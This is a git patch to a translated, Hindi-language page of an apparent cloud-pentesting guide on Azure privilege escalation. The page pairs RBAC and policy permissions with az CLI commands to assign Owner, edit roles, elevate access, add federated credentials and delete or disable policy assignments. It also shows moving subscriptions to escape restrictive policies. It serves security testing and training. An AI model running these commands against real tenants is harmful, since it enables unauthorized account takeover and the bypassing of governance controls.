From f0a4c05bb49e378e76bfb57e3709d38bdcae1377 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 28 Nov 2025 09:48:05 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-authorization-privesc.md | 106 ++++++++++++++++-- 1 file changed, 98 insertions(+), 8 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 792baf398..f4e1d90ef 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -12,16 +12,16 @@ ### Microsoft.Authorization/roleAssignments/write -यह अनुमति विशेष दायरे में प्रिंसिपलों को भूमिकाएँ सौंपने की अनुमति देती है, जिससे एक हमलावर को अधिक विशेषाधिकार प्राप्त भूमिका सौंपकर विशेषाधिकार बढ़ाने की अनुमति मिलती है: +यह permission किसी विशेष scope पर principals को roles असाइन करने की अनुमति देता है, जिससे attacker खुद को अधिक privileged role असाइन करके privileges escalate कर सकता है: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` ### Microsoft.Authorization/roleDefinitions/Write -यह अनुमति एक भूमिका द्वारा दी गई अनुमतियों को संशोधित करने की अनुमति देती है, जिससे एक हमलावर को अधिक अनुमतियाँ देने के द्वारा विशेषाधिकार बढ़ाने की अनुमति मिलती है जो उसने असाइन की है। +यह Microsoft.Authorization/roleDefinitions/Write permission किसी role को दिए गए permissions को संशोधित करने की अनुमति देता है, जिससे एक attacker उस role को और अधिक permissions देकर privileges escalate कर सकता है जिसे उसने assign किया हुआ है। -फाइल `role.json` निम्नलिखित **सामग्री** के साथ बनाएं: +Create the file `role.json` with the following **content**: ```json { "roleName": "", @@ -36,16 +36,16 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55 "id": "/subscriptions//providers/Microsoft.Authorization/roleDefinitions/", } ``` -फिर पिछले परिभाषा को कॉल करते हुए भूमिका अनुमतियों को अपडेट करें: +फिर पिछली परिभाषा को कॉल करके role permissions अपडेट करें: ```bash az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -यह अनुमति विशेषाधिकार बढ़ाने और किसी भी प्रिंसिपल को Azure संसाधनों पर अनुमतियाँ सौंपने की अनुमति देती है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure संसाधनों पर अनुमतियों का प्रबंधन कर सकें। +यह permission विशेषाधिकार बढ़ाने और किसी भी principal को Azure resources पर permissions असाइन करने में सक्षम बनाता है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure resources पर permissions भी प्रबंधित कर सकें। > [!TIP] -> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entra ID में Global Administrator होना चाहिए। +> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entrad ID में Global Administrator होना चाहिए। ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -55,9 +55,9 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -यह अनुमति प्रबंधित पहचान में संघीय क्रेडेंशियल जोड़ने की अनुमति देती है। उदाहरण के लिए, एक प्रबंधित पहचान को एक रिपॉजिटरी में Github Actions तक पहुँच देने के लिए। फिर, यह **किसी भी उपयोगकर्ता द्वारा परिभाषित प्रबंधित पहचान** तक पहुँचने की अनुमति देती है। +यह अनुमति managed identities में Federated credentials जोड़ने की अनुमति देती है। उदाहरण के लिए, किसी repo में Github Actions को एक managed identity को एक्सेस देने के लिए। इससे यह **किसी भी उपयोगकर्ता-परिभाषित managed identity तक पहुंच** की अनुमति देता है। -Github में एक रिपॉजिटरी को प्रबंधित पहचान तक पहुँच देने के लिए उदाहरण कमांड: +Github के एक repo को किसी managed identity को एक्सेस देने के लिए उदाहरण कमांड: ```bash # Generic example: az rest --method PUT \ @@ -71,4 +71,94 @@ az rest --method PUT \ --headers "Content-Type=application/json" \ --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` +### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete + +यदि किसी attacker के पास `Microsoft.Authorization/policyAssignments/write` या `Microsoft.Authorization/policyAssignments/delete` अनुमति किसी management group, subscription, या resource group पर है, तो वह **Azure policy assignments को संशोधित या हटाना** कर सकता है, जिससे संभावित रूप से उन विशिष्ट ऑपरेशनों को रोकने वाले **सुरक्षा प्रतिबंधों को निष्क्रिय किया जा सकता है**। + +इससे पहले नीति द्वारा संरक्षित संसाधनों या फंक्शनैलिटी तक पहुंच संभव हो जाती है। + +**नीति असाइनमेंट हटाएँ:** +```bash +az policy assignment delete \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +**एक policy assignment अक्षम करें:** +```bash +az policy assignment update \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" \ +--enforcement-mode Disabled +``` +**परिवर्तनों की पुष्टि करें:** +```bash +# List policy assignments +az policy assignment list \ +--scope "/providers/Microsoft.Management/managementGroups/" + +# Show specific policy assignment details +az policy assignment show \ +--name "" \ +--scope "/providers/Microsoft.Management/managementGroups/" +``` +### Microsoft.Authorization/policyDefinitions/write + +An attacker के पास `Microsoft.Authorization/policyDefinitions/write` permission होने पर वह **Azure नीति परिभाषाओं को संशोधित कर सकता है**, जिससे पूरे वातावरण में सुरक्षा प्रतिबंधों को नियंत्रित करने वाले नियम बदल जाते हैं। + +उदाहरण के लिए, कोई नीति जो संसाधन बनाने के लिए अनुमत क्षेत्रों को सीमित करती है, उसे यह बदलकर किसी भी क्षेत्र की अनुमति देने वाला बनाया जा सकता है, या नीति प्रभाव बदलकर उसे अप्रभावी किया जा सकता है। + +**नीति परिभाषा संशोधित करें:** +```bash +az policy definition update \ +--name "" \ +--rules @updated-policy-rules.json +``` +**परिवर्तनों की पुष्टि करें:** +```bash +az policy definition list --output table + +az policy definition show --name "" +``` +### Microsoft.Management/managementGroups/write + +`Microsoft.Management/managementGroups/write` अनुमति वाले हमलावर **management groups की पदानुक्रमिक संरचना को बदल सकता है** या **नए management groups बना सकता है**, जिससे ऊपरी स्तरों पर लागू सख्त नीतियों से बचा जा सकता है। + +उदाहरण के लिए, हमलावर बिना सख्त नीतियों के एक नया management group बना सकता है और फिर subscriptions को उसमें स्थानांतरित कर सकता है। + +**नया management group बनाएं:** +```bash +az account management-group create \ +--name "yourMGname" \ +--display-name "yourMGDisplayName" +``` +**प्रबंधन समूह के पदानुक्रम को संशोधित करें:** +```bash +az account management-group update \ +--name "" \ +--parent "/providers/Microsoft.Management/managementGroups/" +``` +**परिवर्तनों की पुष्टि करें:** +```bash +az account management-group list --output table + +az account management-group show \ +--name "" \ +--expand +``` +### Microsoft.Management/managementGroups/subscriptions/write + +इस अनुमति `Microsoft.Management/managementGroups/subscriptions/write` वाले हमलावर के पास **subscriptions को management groups के बीच move करने** की क्षमता होती है, जिससे वह एक subscription को कम प्रतिबंधात्मक या बिना नीतियों वाले ग्रुप में स्थानांतरित करके संभावित रूप से **प्रतिबंधात्मक नीतियों से बच सकता है**। + +**किसी subscription को किसी दूसरे management group में स्थानांतरित करें:** +```bash +az account management-group subscription add \ +--name "" \ +--subscription "" +``` +**परिवर्तनों को सत्यापित करें:** +```bash +az account management-group subscription show \ +--name "" \ +--subscription "" +``` {{#include ../../../banners/hacktricks-training.md}}